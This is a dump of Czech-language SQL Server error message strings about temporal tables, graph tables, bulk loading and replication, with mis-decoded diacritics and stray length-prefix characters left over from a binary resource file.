�Nastaven� SYSTEM_VERSIONING na ON se nepovedlo, proto~e na tabulku historie %1!s! odkazuje jeden nebo nkolik predik�to zabezpe
en� BLOCK. Doporu
ujeme odebrat vaechny predik�ty zabezpe
en� BLOCK a zkusit to znovu.

�Do
asn� sloupec %2!s! typu GENERATED ALWAYS AS %1!s! m� neplatn� datov� typ.

�Do
asn� sloupec %2!s! typu GENERATED ALWAYS AS %1!s! nepovoluje hodnoty null.

|Do
asn� sloupec %1!s! typu GENERATED ALWAYS nejde zmnit.

`Nastaven� SYSTEM_VERSIONING na ON se nepovedlo, proto~e sloupec %1!s! v tabulce historie %2!s! odpov�d� sloupci generated always v tabulce %3!s! a nepovoluje hodnotu null.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! v�tabulce historie %2!s! odpov�d� sloupci generated always v�tabulce %3!s! a nepovoluje hodnoty null.

�Do
asn� sloupec %2!s! typu GENERATED ALWAYS AS %1!s! m� neplatnou d�lku dat.

�Do
asn� tabulka nemo~e obsahovat v�c ne~ jeden sloupec GENERATED ALWAYS AS %1!s!.

`Sch�ma tabulky se syst�movou spr�vou verz� se nepovedlo upravit, proto~e u pameov optimalizovan� tabulky %1!s! se syst�movou spr�vou verz� se online �prava nepodporuje.

�Atribut HIDDEN u sloupce %1!s! v tabulce %2!s! nejde zmnit, proto~e tento sloupec nen� typu generated always.

,PY�kaz ALTER TABLE SWITCH nebyl u tabulky %1!s! �span�, proto~e sloupec %2!s! nem� ve zdrojov� a c�lov� tabulce stejn� atribut GENERATED ALWAYS.

�Tabulka historie %1!s! nemo~e b�t pameov optimalizovan� tabulka.

�Pameov optimalizovan� do
asn� tabulka %1!s! mus� b�t vytvoYen� s mo~nost� DURABILITY nastavenou na SCHEMA_AND_DATA.

DDoalo k pYekro
en� limitu velikosti Y�dku (%1!s! bajto) pro pameov optimalizovan� tabulky se syst�movou spr�vou verz�. Zjednoduate pros�m definici tabulky.

�Pro do
asnou tabulku historie %1!s! nejde vytvoYit index UNIQUE.

�Tabulka %1!s! obsahuje z�znamy, u kter�ch se GENERATED ALWAYS AS %2!s! nerovn� hodnot %3!s!.

�%1!s! nen� platn� hodnota pro dobu uchov�n� historie syst�mov� spr�vy verz�.

�%1!s! nen� platn� jednotka pro dobu uchov�n� historie syst�mov� spr�vy verz�.

$Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nepou~�v� v tabulk�ch %2!s! a %3!s! stejn� aifrov�n�.

x%1!s! nen� do
asn� tabulka se syst�movou spr�vou verz�.

�U tabulky %1!s! nejde pou~�t vy
iatn� dat, proto~e m� nekone
nou dobu uchov�n�.

�Nastaven� SYSTEM_VERSIONING na ON se nepovedlo, proto~e tabulka %1!s! pYekra
uje maxim�ln� po
et 1023 sloupco.

�Obdob� %1!s! %2!s! je pY�lia dlouh� pro uchov�n� historie syst�mov� spr�vy verz�.

\Do
asn� sloupec obdob� %1!s! neexistuje.

,Do
asn� sloupec 
asu aplikace %1!s! m� neplatn� datov� typ. Povolen� datov� typy jsou datetime2, smalldatetime, datetimeoffset, date a datetime.

�Sloupec %1!s! mus� b�t definovan� jako NOT NULL, jinak se ned� pou~�t v�do
asn�m 
asov�m obdob� aplikace.

hDo
asn� sloupce obdob� maj� rozn� datov� typy.

�Do
asn� sloupce obdob� maj� roznou pYesnost datov�ch typo.

�Do
asn� obdob� %1!s! m� stejn� sloupec 
asu zah�jen� a 
asu ukon
en�.

0Sloupec %1!s! se pou~�v� v�do
asn�m obdob� %2!s! a nejde ho explicitn um�stit do seznamu kl�
o omezen�, kde se pou~�v� stejn� obdob� bez pYekryt�.

,Do
asn� tabulka %1!s! u~ m� definovanou tabulku historie. Pokud chcete pou~�t jinou tabulku historie, zva~te nejdY�v vyYazen� system_versioning.

<Nejde definovat omezen� ciz�ho kl�
e %1!s! s kask�dov�m pY�kazem DELETE nebo UPDATE pro tabulku %2!s!, proto~e je to tabulka se syst�movou spr�vou verz�.

�PYejmenov�n� sloupce v tabulce historie %1!s! selhalo, proto~e to v tabulk�ch se syst�movou spr�vou verz� nen� podporovan� operace. Doporu
ujeme nastavit mo~nost SYSTEM_VERSIONING na hodnotu OFF a zkusit to znovu.

pPY�stup k tabulce historie pro pameov optimalizovanou do
asnou tabulku s pou~it�m �rovn izolace SERIALIZABLE se nepodporuje, kdy~ je mo~nost SYSTEM_VERSIONING nastaven� na ON.

4Doporu
en� %1!s! se s tabulkou historie pro pameov optimalizovanou do
asnou tabulku nepodporuje, kdy~ je mo~nost SYSTEM_VERSIONING nastaven� na ON.

�Nejde zmnit do
asn� tabulka %1!s!, proto~e tato operace v tuto chv�li nen� dostupn�.

�Nejde se dot�zat na do
asnou tabulku %1!s!, proto~e tato operace v tuto chv�li nen� dostupn�.

�Online operace ALTER COLUMN nen� podporovan� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz�.

�Nastaven� omezen�ho obdob� uchov�n� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz� selhalo, proto~e tabulka historie %2!s! neobsahuje po~adovan� clusterovan� index. Zva~te pro tabulku historie vytvoYen� clusterovan�ho indexu columnstore nebo indexu B-stromu po
�naje sloupcem, kter� odpov�d� konci obdob� SYSTEM_TIME.

Nejde odstranit clusterovan� index %1!s!, proto~e se pou~�v� k automatick�mu 
iatn� stara�ch dat. Pokud potYebujete tento index odstranit, zva~te pro pY�sluanou do
asnou tabulku se syst�movou spr�vou verz� mo~nost nastavit HISTORY_RETENTION_PERIOD na INFINITE.

�Clusterovan� index %1!s! se pou~�v� k automatick�mu 
iatn� stara�ch dat a jde ho pYev�st na clusterovan� index columnstore nebo index B-stromu pro tabulku historie po
�naje sloupcem, kter� odpov�d� konci obdob� SYSTEM_TIME. Pokud chcete tento index znovu vytvoYit s upravenou specifikac� sloupco, kter� nepodporuje uchov�n� do
asn� historie, zva~te pro pY�sluanou do
asnou tabulku se syst�movou spr�vou verz� mo~nost nastavit HISTORY_RETENTION_PERIOD na INFINITE.

�iatn� tabulky historie z hlediska uchov�n� pro do
asnou tabulku (ID datab�ze: %1!s!, ID tabulky: %2!s!) se neprovedlo. Bu je v datab�zi 
iatn� zak�zan�, nejde z�skat pY�sluan� z�mek, nebo do
asn� tabulka u~ neexistuje.

xNastaven� SYSTEM_VERSIONING na ON pro tabulku %1!s! selhalo, proto~e %2!s! s povolen�m REMOTE_DATA_ARCHIVE nejde pou~�t jako tabulku historie, pokud je zadan� omezen� obdob� uchov�n�.

tNastaven� omezen�ho obdob� uchov�n� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz� selhalo, proto~e pro odpov�daj�c� tabulku historie %2!s! je povolen� REMOTE_DATA_ARCHIVE.

@Nastaven� omezen�ho obdob� uchov�n� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz� selhalo, proto~e odpov�daj�c� tabulka historie %2!s! m� clusterovan� indexy columnstore i neclusterovan� indexy. Zva~te odstrann� neclusterovan�ch indexo z tabulky historie a zkuste to znovu.

<Nelze vytvoYit neclusterovan� index pro do
asnou tabulku historie %1!s!, proto~e m� omezen� obdob� uchov�n� a definovan� clusterovan� index columnstore.

Doalo k pokusu o 
iatn� clusterovan�ho cloumnstoru z hlediska do
asn�ho uchov�n� pro neclusterovanou tabulku columnstore %1!s!.

DNastaven� SYSTEM_VERSIONING na ON selhalo, proto~e tabulka %1!s! m� definovan� triggery INSTEAD OF. Zva~te odstrann� triggero INSTEAD OF a zkuste to znovu.

h�prava sch�matu tabulky se syst�movou spr�vou verz� selhalo, proto~e tabulka %1!s! m� definovan� triggery INSTEAD OF. Zva~te odstrann� triggero INSTEAD OF a zkuste to znovu.

�Tabulka %1!s! neexistuje nebo nem�te po~adovan� opr�vnn� k dokon
en� operace.

�Ulo~en� procedura sp_cleanup_temporal_history je do
asn zak�zan�. Dala� informace v�m poskytne podpora z�kazn�ko.

Jedin� povolen� operace ALTER TABLE pro do
asnou tabulku historie v pamti %1!s! jsou ADD INDEX, DROP INDEX a ALTER INDEX.

�Definov�n� indexu columnstore v do
asn� tabulce historie v pamti %1!s! se nepodporuje.

�Nastaven� omezen�ho obdob� uchov�n� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz� selhalo, proto~e tabulka historie %2!s! je clusterovan� �lo~iat sloupco, kter� obsahuje sloupce rozs�hl�ch objekto.

�Chybn� ty sloupce %1!s!: Do
asn� tabulka %2!s! se syst�movou spr�vou verz� nemo~e obsahovat sloupce rozs�hl�ch objekto, proto~e m� omezen� obdob� uchov�n� a tabulku historie %3!s! clusterovan�ho �lo~iat sloupco.

�Nejde vytvoYit index %1!s! clusterovan�ho �lo~iat sloupco pro tabulku %2!s!, proto~e obsahuje sloupce rozs�hl�ch objekto je tabulkou historie do
asn� tabulky %3!s!, kter� m� omezen� obdob� uchov�n�.

�prava dat na tabulce %1!s! se syst�movou verz� se nepovedla, proto~e sloupec %2!s! nejde pou~�t na v�stup do tabulky historie %3!s!.

,Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou klasifikaci citlivosti.

,Zmna sch�matu tabulky se syst�movou spr�vou verz� selhala, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou klasifikaci citlivosti.

�%1!s! neexistuje nebo to nen� do
asn� 
asov� obdob� aplikace.

�Do
asn� 
asov� obdob� aplikace bez pYekryt� se mo~e definovat jen pro prim�rn� kl�
 nebo jedine
n� omezen�.

�Do
asn� 
asov� obdob� aplikace u~ je pro tabulku %1!s! definovan�.

�Tabulka nemo~e m�t nkolik definic 
asov�ho obdob� aplikace.

|%1!s! se nepovoluje jako n�zev 
asov�ho obdob� aplikace.

pPY�kaz INSERT BULK nepodporuje optovnou kompilaci.

0Typy TEXT, NTEXT, SQL_VARIANT a IMAGE nejde ve funkci OPENROWSET s vlo~en�m sch�matem pou~�t jako typ sloupce. Tyto typy nepodporuje klauzule WITH.

�Typy CLR nejdou ve funkci OPENROWSET s vlo~en�m sch�matem pou~�t jako typ sloupce. Tyto typy nepodporuje klauzule WITH.

Typy tabulky nejde ve funkci OPENROWSET s vlo~en�m sch�matem pou~�t jako typ sloupce. Tyto typy nepodporuje klauzule WITH.

�U hromadn�ho na
ten� byl zad�n neplatn� Y�dic� znak. X�dic� znak mo~e b�t jednobajtov� znak nebo znak Unicode.

xPYi rozbalov�n� z�stupn�ho znaku doalo k vnitYn� chyb.

�It is not possible to expand wildcards in path to provided data source.

hObsah adres�Ye v cest %1!s! nen� mo~n� vypsat.

xPo
�te
n� posun nemo~e b�t vta� ne~ velikost souboru.

�Sloupec %1!s! je typu %2!s!, kter� nen� podporov�n s form�tem souboru %3!s!.

�Chyba (zkr�cen�) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!) v datov�m souboru %4!s!.

dChyba (neodpov�d� typ nebo znak je neplatn� pro zadanou znakovou str�nku) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!) v datov�m souboru %4!s!.

�Chyba (pYete
en�) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!) v datov�m souboru %4!s!.

�Hromadn� na
ten� selhalo: datov� soubor %1!s! nem� k�dov�n� %2!s!.

pIdentifik�tor %1!s! v klauzuli MATCH nejde sv�zat.

�Identifik�tor %1!s! v klauzuli MATCH nen� tabulka uzlo ani alias pro tabulku uzlo.

�Identifik�tor %1!s! v klauzuli MATCH nen� tabulka hran ani alias pro tabulku hran.

tTabulka hran %1!s! se pou~�v� ve v�ce vzorech MATCH.

�Vaechny tabulky uzlo a hran v r�mci jedn� klauzule MATCH se mus� nach�zet ve stejn� datab�zi.

�Klauzuli MATCH nejde pY�mo kombinovat s jin�mi v�razy pomoc� OR nebo NOT.

,N�zev nebo alias tabulky uzlu %1!s! ozna
en� jako FOR PATH nejde pou~�t mimo rekurzivn� odd�l klauzule SHORTEST_PATH, krom ve funkci LAST_NODE.

pNejde zmnit opr�vnn� pro grafick� sloupec %1!s!.

xNejde pYistupovat k intern�mu grafick�mu sloupci %1!s!.

�Intern� grafick� sloupec %1!s! nejde pYidat do indexu. Pou~ijte m�sto nj pseudosloupec %2!s!.

�Nejde vytvoYit tabulku uzlo nebo hran jako pameov optimalizovanou.

�Nejde vytvoYit tabulku uzlo nebo hran jako archiv vzd�len�ch dat.

�Tabulku uzlo nebo hran nejde vytvoYit jako do
asnou tabulku nebo ji na ni zmnit.

XIntern� grafick� sloupce nejde zmnit.

�Nejde vytvoYit tabulku uzlo nebo hran jako do
asnou tabulku.

�Nejde vytvoYit tabulku uzlo nebo hran jako extern� tabulku.

�Grafick� sloupec %1!s! nejde pou~�t jako nekl�
ov� sloupec v indexu ani jako dlic� sloupec.

pPo rozbalen� vypo
�tan�ho grafick�ho sloupce %1!s! pYekra
uje index %2!s! pro tabulku %3!s! maxim�ln� po
et sloupco v seznamu kl�
o. Maxim�ln� po
et sloupco kl�
o indexu je %4!s!.

�PYid�n� omezen� do sloupce %1!s! v tabulce uzlo nebo hran nen� povoleno.

�Identifik�tor %1!s! v klauzuli MATCH odpov�d� odvozen� tabulce. Odvozen� tabulky nejsou v klauzul�ch MATCH podporov�ny.

Identifik�tor %1!s! v klauzuli MATCH je pou~it s klauzul� JOIN nebo oper�torem APPLY. JOIN a APPLY nejsou s klauzulemi MATCH podporov�ny.

�Data JSON pro INSERT/UPDATE nebo pseudosloupec %1!s! grafu maj� nespr�vn� form�t.

xVzd�len� tabulky nejsou v klauzul�ch MATCH podporov�ny.

�Pseudosloupec %1!s! je neplatn�, proto~e odkazuje na tabulku uzlo nebo hran, kter� nen� v aktu�ln� datab�zi.

�Select * nen� povoleno, proto~e to odkazuje na tabulku uzlo nebo hran %1!s!, kter� nen� v aktu�ln� datab�zi.

Index nebo omezen� %1!s! nejde odpojit nebo zak�zat, proto~e nejde odpojit nebo zak�zat posledn� jedine
n� index nebo omezen� na %2!s!.

�Pou~it� replikace nen� pro tabulku uzlo nebo hran %1!s! podporov�no.

�Funkce Change Data Capture nen� pro tabulku uzlo nebo hran %1!s! podporov�na.

�Pokud chcete pYidat omezen� do tabulky uzlo nebo hran, pou~ijte pseudosloupec %1!s!.

Pseudosloupec %1!s! nemo~e b�t sou
�st� indexu, pokud tento index nen� na tabulce uzlo nebo hran, kter� tento pseudosloupec obsahuje.

�Nelze vytvoYit omezen� hran na tabulce %1!s!. Tabulka nen� tabulka hran.

�Omezen� hran %1!s! odkazuje na neplatnou tabulku %2!s!. Tabulka nebyla nalezena.

lOmezen� hran mezi datab�zemi nejsou podporov�na.

dOmezen� hran mus� odkazovat na tabulky uzlo.

�Nelze odstranit tabulku uzlu %1!s!, proto~e na ni odkazuje omezen� hran.

POmezen� vztahu vol�n� funkce %1!s! nelze povolit, proto~e v jedn� nebo v�ce tabulk�ch c�lov�ch uzlo nejsou ~�dn� online, jedine
n� a nefiltrovan� indexy $node_id.

LClusterovan� index %1!s! tabulky %2!s! nelze zak�zat. Bylo odepYeno opr�vnn� k deaktivaci omezen� hran %3!s! pro tabulku %4!s!, kter� odkazuje na tuto tabulku.

�Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�lov� tabulka %1!s! pY�kazu INSERT se nemo~e na ~�dn� stran �
astnit relace omezen� hran. Nalezeno omezen� hran %2!s!.

C�lov� tabulka %1!s! klauzule OUTPUT INTO se nemo~e na ~�dn� stran �
astnit relace omezen� hran. Nalezeno omezen� odkazu %2!s!.

xNelze pou~�t odvozenou tabulku %1!s! v klauzuli MATCH.

�Omezen� vztahu vol�n� funkce, kter� odkazuje na tabulku uzlo se zak�zan�m indexem $node_id nelze vytvoYit.

xPo
�te
n� rekurzivn� kvantifik�tor mus� b�t 1: {1,...}.

�Kone
n� rekurzivn� kvantifik�tor mus� b�t vta� ne~ po
�te
n� rekurzivn� kvantifik�tor.

�Tabulku %1!s! nejde zkr�tit, proto~e na ni odkazuje omezen� EDGE.

�Nejde odstraHovat z tabulky uzlu, kter� je c�lem jak omezen� hran, tak i omezen� ciz�ho kl�
e na sloupci $node_id.

�Nejde vytvoYit omezen� ciz�ho kl�
e odkazuj�c� na sloupec $node_id nebo $edge_id tabulky grafu.

�PY�kazy Merge obsahuj�c� klauzuli MATCH nepodporuj� v t�to klauzuli MATCH odvozen� tabulky ani zobrazen�.

N�zev nebo alias tabulky %1!s! mus� b�t ozna
en jako FOR PATH, aby mohl b�t pou~it v rekurzivn�m odd�lu klauzule SHORTEST_PATH.

�N�zev nebo alias tabulky %1!s! byl ozna
en jako FOR PATH, ale nebyl pou~it v rekurzivn�m odd�lu klauzule SHORTEST_PATH.

�N�zev nebo alias tabulky uzlu %1!s! byl pou~it v�ce ne~ jednou v rekurzivn�m odd�lu klauzule SHORTEST_PATH.

�Agrega
n� funkce %1!s! nen� podporov�na s klauzul� WITHIN GROUP (GRAPH PATH).

�}�dn� sloupce v agrega
n� funkci %1!s! WITHIN GROUP(GRAPH PATH) neodkazuj� na rekurzivn� cestu.

�Sloupce v agrega
n� funkci %1!s! WITHIN GROUP(GRAPH PATH) odkazuj� na v�ce ne~ jednu rekurzivn� cestu.

�Identifik�tor %1!s! v agrega
n� funkci %2!s! WITHIN GROUP(GRAPH PATH) neodkazuje na rekurzivn� cestu a nemo~e se pou~�t.

�Rekurzivn� dotazy MATCH nejde pou~�t ve funkci vracej�c� tabulku.

�Rekurzivn� dotazy MATCH nejde pou~�t na prav� stran APPLY.

pRekurzivn� dotazy MATCH nejde pou~�t v poddotazech.

�VnitYn� chyba: Dotaz MATCH s odvozenou tabulkou nebo zobrazen�m %1!s! se nepovedlo zkompilovat.

hZaveden� omezen� hrany %1!s! pro tabulku %2!s! mo~e m�t za n�sledek vytvoYen� cyklo nebo v�ce kask�dov�ch cest. Zadejte klauzuli ON DELETE NO ACTION nebo upravte jin� omezen�.

TOmezen� hrany %1!s! pro tabulku %2!s! nejde pomoc� kask�dov� akce DELETE definovat, proto~e pro tabulku jsou definov�ny aktiva
n� ud�losti INSTEAD OF DELETE TRIGGER.

�Alias nebo identifik�tor %1!s! nejde pou~�t v kontextu select list, order by, group by nebo having.

Alias nebo identifik�tor %1!s! nen� posledn� uzel ve vzoru nejkrata� cesty. S funkc� LAST_NODE() jde pou~�t jenom posledn� uzel v cest.

�N�zev tabulky nebo alias %1!s! uzlu odkazuje na odvozenou tabulku a nejde ho pou~�t ve funkci LAST_NODE.

�Tyto dva aliasy %1!s! a %2!s! odkazuj� na jin� podkladov� objekty ve v�razu rovnosti LAST_NODE.

�N�zev tabulky nebo alias %1!s! mus� pou~�vat funkci LAST_NODE k odkazov�n� na posledn� uzel ve v�razu shortest_path.

�V�raz rekurzivn�ho kvantifik�toru pYekra
uje limit %1!s!. Zva~te, jestli m�sto nj nepou~�t syntaxi  + .

�Pseudosloupec %1!s! nen� podporov�no pro pou~it� jako dlic� sloupec na tabulce nebo indexu.

�U indexu %1!s! nen� povolen explicitn� pY�kaz DROP INDEX. Pou~�v� se pro vynucen� omezen� hran.

xNelze nal�zt subsyst�m synchronizace s ID �lohy %1!s!.

LJe potYeba zadat n�zev publikace.

P%1!s! mus� b�t v aktu�ln� datab�zi.

$Publikaci nelze vyYadit, proto~e existuje alespoH jeden odbr t�to publikace. PYed vyYazen�m publikace je potYeba vyYadit vaechny jej� odbry. Pokud pot�~e potrvaj�, replika
n� metadata jsou mo~n� chybn�. Informace t�kaj�c� se Yeaen� pot�~� naleznete v knih�ch online.

<Publikaci nelze vyYadit.

LNebyly nalezeny ~�dn� publikace.

\Publikace %1!s! neobsahuje ~�dn� 
l�nky.

�Vzd�len� server %1!s! nen� definov�n jako odbrov� server. Je potYeba zadat n�zev serveru, ne s�eov� alias.

�Server %1!s! se nepodaYilo ozna
it jako odbratele mimo syst�m SQL Server.

xParametr @status mus� m�t hodnotu active nebo inactive.

XTuto datab�zi nen� povoleno publikovat.

LHodnota metody synchronizace (@sync_method) mus� b�t [bcp] native, [bcp] character, concurrent, concurrent_c, database snapshot nebo database snapshot character.

�Hodnota frekvence replikace (@repl_freq) mus� b�t bu continuous, nebo snapshot.

DPublikace %1!s! ji~ existuje.

�Neplatn� hodnota parametru @restricted. Platn� jsou mo~nosti True a False.

<Publikaci nelze vytvoYit.

�Hodnota parametru @operation mus� b�t add, drop nebo alter.

�Nelze z�skat ID zadan�ho sloupce. Replikace sch�matu se nezdaYila.

XSloupec nebyl do 
l�nku pYid�n spr�vn.

�Hodnota parametru @property mus� b�t description, sync_object, type, ins_cmd, del_cmd, upd_cmd, filter, dest_table, dest_object, creation_script, pre_creation_cmd, status, schema_option nebo destination_owner.

XTyp mus� b�t [indexed view ]logbased[ (manualview|manualfilter|manualboth)], [serializable ]proc exec nebo (view|indexed view|proc|func|aggregate|synonym) schema only.

xHodnota vlastnosti subscriber_provider nesm� b�t NULL.

$Hodnota vlastnosti subscriber_type nen� podporovan� heterogenn� typ odbratele. Hodnota mus� b�t 1 (odbratel ODBC) nebo 3 (odbratel OLEDB).

dObjekt %1!s! v aktu�ln� datab�zi neexistuje.

�Pouze tabulky u~ivatelo, vyhodnocen� zobrazen� nebo ulo~en� procedury lze publikovat jako 
l�nky typu logbased.

�PYep�na
 vertik�ln�ho odd�lu mus� b�t pouze hodnoty true nebo false.

\l�nek %1!s! existuje v publikaci %2!s!.

�Platn�mi synchroniza
n�mi objekty jsou pouze zobrazen� a tabulky u~ivatelo.

�Hodnota parametru %1!s! nesm� b�t all. Tato hodnota je vyhrazena ulo~en�m procedur�m replikace.

�Nelze zmnit frekvenci replikace, proto~e v publikaci se nach�z� aktivn� odbry.

�Kl�
ov� slovo all nelze pou~�t pro n�zev publikace (@publication).

�Mo~nost replikace %1!s! pro datab�zi %2!s! je ji~ nastavena na hodnotu true.

XDatab�zi nelze povolit pro publikov�n�.

�Mo~nost replikace %1!s! pro datab�zi %2!s! je nastavena na hodnotu false.

XDatab�zi nelze zak�zat pro publikov�n�.

�Nelze vytvoYit klauzuli sloupce pro zobrazen� 
l�nku. Sni~te po
et sloupco nebo vytvoYte zobrazen� ru
n.

HServer %1!s! je ji~ odbratel.

�Vlastnost %1!s! lze zmnit pouze tehdy, je-li publikace povolena pro heterogenn� odbry.Publikace nen� povolena.

@Nelze vytvoYit odbratele.

�Parametr %1!s! pYedan� do ulo~en� procedury %2!s! nesm� m�t hodnotu NULL.

hU tohoto serveru nelze vymazat stav odbratele.

�Nelze aktualizovat parametr subscriber_type v tabulce MSdistribution_agents.

ll�nek nelze vyYadit. Pro 
l�nek existuje odbr.

DNelze vyYadit polo~ku %1!s!.

DServer %1!s! nen� odbratel.

�Ulo~en� procedury replikace jsou jedin�mi objekty, kter� lze pou~�t jako filtr.

hK t�to publikaci nebo 
l�nku neexistuje odbr.

lParametr mus� m�t hodnotu sync_type nebo dest_db.

Parametr @sync_type mus� m�t hodnotu automatic, none, replication support only, initialize with backup nebo initialize from lsn.

XV tuto chv�li nelze aktualizovat odbr.

PV tuto chv�li nelze vyYadit odbr.

4Nelze vytvoYit odbr.

xTento odbr nelze vytvoYit, proto~e v datab�zi ji~ existuje. V ka~d� datab�zi odbro je povolen pouze jeden odbr k t�~e publikaci. Pokud je tYeba, odbr vyYate a pot� znovu pYidejte. Pokud pot�~e potrvaj�, replika
n� metadata jsou mo~n� chybn�. Informace t�kaj�c� se Yeaen� pot�~� naleznete v knih�ch online.

�l�nky vyhodnocen�ho zobrazen� nelze vytvoYit pro publikace s vlastnostmi allow_sync_tran, allow_queued_tran a allow_dts.

Parametry odbratele, kter�mi se zad�vaj� vlastnosti zprostYedkovatele, mus� m�t hodnotu NULL pro odbratele typu SQL Server.

�Hodnota parametru @pre_creation_cmd mus� b�t none, drop, delete nebo truncate.

�Vzd�len� server neexistuje nebo nebyl definov�n jako platn� odbratel.

�Hodnota parametru @status mus� b�t initiated, active, inactive nebo subscribed.

|PYedchoz� stav mus� b�t active, inactive nebo subscribed.

|Stavov� hodnota je stejn� jako pYedchoz� stavov� hodnota.

\Nelze zmnit stav odbru tohoto objektu.

�Nelze aktualizovat zobrazen� sysarticles. Nelze zmnit stav odbru.

�Nelze aktualizovat tabulku odbro distribu
n� datab�ze. Nelze zmnit stav odbru.

lNelze naj�t distributora nebo distribu
n� datab�zi pro m�stn� server. Bu nen� nainstalov�n distributor, nebo v distributorovi nen� nakonfigurov�n m�stn� server jako vydavatel.

`Server %1!s! je ji~ uveden jako vydavatel.

\V tuto chv�li nelze vytvoYit vydavatele.

�PYihlaaovac�mu jm�nu replikace nelze udlit opr�vnn� k operaci %1!s!.

�Hodnota parametru mus� b�t description, taskid, sync_method, status, repl_freq, restricted, retention, immediate_sync, enabled_for_internet, allow_push, allow_pull, allow_anonymous nebo retention.

Vzd�len� server %1!s! bu neexistuje, nebo nebyl ur
en jako platn� vydavatel, nebo nem�te opr�vnn� zobrazit dostupn� vydavatele.

�Od tohoto distributora nelze z�skat informace o odbrateli.

�Tabulka %1!s! mus� obsahovat prim�rn� kl�
, aby mohla b�t publikov�na metodou zalo~enou na transakc�ch.

,Clusterovan� index pro vyhodnocen� zobrazen� %1!s! nesm� obsahovat nulovateln� sloupce, pokud m� b�t publikov�n metodou zalo~enou na transakc�ch.

4Po vyYazen� sloupce doalo k chyb vyhodnocen� synchroniza
n�ho objektu 
l�nku. Klauzule filtru pro 
l�nek %1!s! nesm� odkazovat na vyYazen� sloupec.

�Parametr @type pYedan� ulo~en� proceduYe sp_helpreplicationdb mus� m�t hodnotu pub nebo sub.

pNelze zmnit 
l�nek, proto~e k nmu existuje odbr.

�Nelze udlit ani odvolat pY�stup pY�mo k publikaci %1!s!, proto~e pou~�v� v�choz� pY�stupov� seznam.

 Nelze se pYihl�sit k odbru 
l�nku %1!s!, proto~e heterogenn� odbratel %2!s! nepodporuje pro parametr @pre_creation_cmd hodnotu truncate.

Hodnota parametru @sync_method nen� platn�. Nelze se pYihl�sit k odbru publikace %1!s!, proto~e odbratel %2!s! typu non-SQL Server podporuje pro parametr @sync_method pouze hodnoty typu character, bcp character, concurrent_c a database snapshot character.

�M�-li parametr @pre_creation_cmd hodnotu drop, je potYeba uv�st cestu i n�zev skriptu pro vytvoYen� tabulky.

<Status mus� m�t hodnotu no column names, include column names, string literals, parameters, DTS horizontal partitions nebo no DTS horizontal partitions.

XNelze vyYadit distribu
n�ho vydavatele %1!s!. Vzd�len� vydavatel pou~�v� %2!s! jako distributora. PYed vyYazen�m t�to relace je nutn� zak�zat publikov�n� u vydavatele.

�Server %1!s! je ji~ definov�n jako distributor. Chcete-li pYekonfigurovat server jako distributora, mus�te nejprve odinstalovat existuj�c�ho distributora. Pou~ijte bu ulo~enou proceduru sp_dropdistributor, nebo provodce publikov�n�m a distribuc�.

�Zadejte vaechny 
l�nky, pYihlaaujete-li se k odbru publikace t�m, ~e prov�d�te soub~n� zpracov�n� sn�mko.

hAgent sn�mku publikace %1!s! je ji~ definov�n.

�Odhlaaujete-li odbr publikace t�m, ~e prov�d�te soub~n� zpracov�n� sn�mko, zadejte vaechny 
l�nky.

�Hodnota %1!s! je neplatn�. Platn� hodnoty jsou publisher, subscriber a both.

tDoby uchov�n� distribuce mus� b�t vta� nebo rovny 0.

tPro 
l�nky s ulo~en�mi procedurami mus� m�t parametr @property hodnotu description, dest_table, dest_object, creation_script, pre_creation_cmd, schema_option nebo destination_owner.

�Parametr @pre_creation_cmd mus� m�t hodnotu none nebo drop.

�Tuto proceduru lze prov�st pouze proti 
l�nkom zalo~en�m na tabulk�ch.

�Nelze prov�st proceduru %1!s!. Zkontrolujte %2!s! v instala
n�m adres�Yi.

pServer %1!s! nen� nakonfigurov�n jako distributor.

`Parametr vlastnosti mus� m�t hodnotu %1!s!.

tDatab�ze %1!s! nen� nakonfigurov�na jako distribu
n�.

�Ulo~enou proceduru lze publikovat pouze jako 
l�nek typu serializable proc exec, proc exec nebo proc schema only.

�Nelze pYidat distribu
n� datab�zi %1!s!. Tato distribu
n� datab�ze ji~ existuje.

�Nelze vyYadit distribu
n� datab�zi %1!s!. Tato distribu
n� datab�ze je pYidru~ena k vydavateli.

�Nelze vyYadit distributora %1!s!. Tento distributor m� pYidru~enou distribu
n� datab�zi.

�Parametr @article mus� m�t hodnotu all pro publikace typu immediate_sync.

�Parametr odbru @sync_type s hodnotou manual ji~ nen� podporov�n.

�Publikace mus� m�t nejm�n jeden 
l�nek, ne~ k n� lze vytvoYit odbr.

hNem�te potYebn� opr�vnn� k dokon
en� operace.

�Parametr @subscription_type m� neplatnou hodnotu. Platn� mo~nosti jsou push nebo pull.

$Kdy~ pYid�te odbry k publikaci typu immediate_sync a parametr sync_type m� hodnotu automatic, potom parametr @status mus� m�t hodnotu NULL.

�Neexistuje odbr k vydavateli %1!s!, datab�zi vydavatele %2!s!, publikaci %3!s!.

�Kl�
ov� slovo all je vyhrazeno ulo~en�m procedur�m replikace.

�Parametr @value mus� m�t hodnotu bu true, nebo hodnotu false.

PMo~nost s n�zvem %1!s! je neplatn�.

hSyst�mov� tabulka %1!s! replikace ji~ existuje.

�Nelze vyYadit distribu
n�ho vydavatele %1!s!. V distribu
n� datab�zi %2!s! jsou k nmu pYidru~eni odbratel�.

�Nelze vyYadit odbratele %1!s!. V publika
n� datab�zi %2!s! k nmu existuj� odbry.

xParametr @schema_option 
l�nku nemo~e m�t hodnotu NULL.

xPublikace s omezen�m pY�stupem ji~ nejsou podporov�ny.

�Hodnota %1!s! je neplatn�. Platn� jsou hodnoty true a false.

pReplikace-%1!s!: doalo k chyb agenta %2!s!. %3!s!

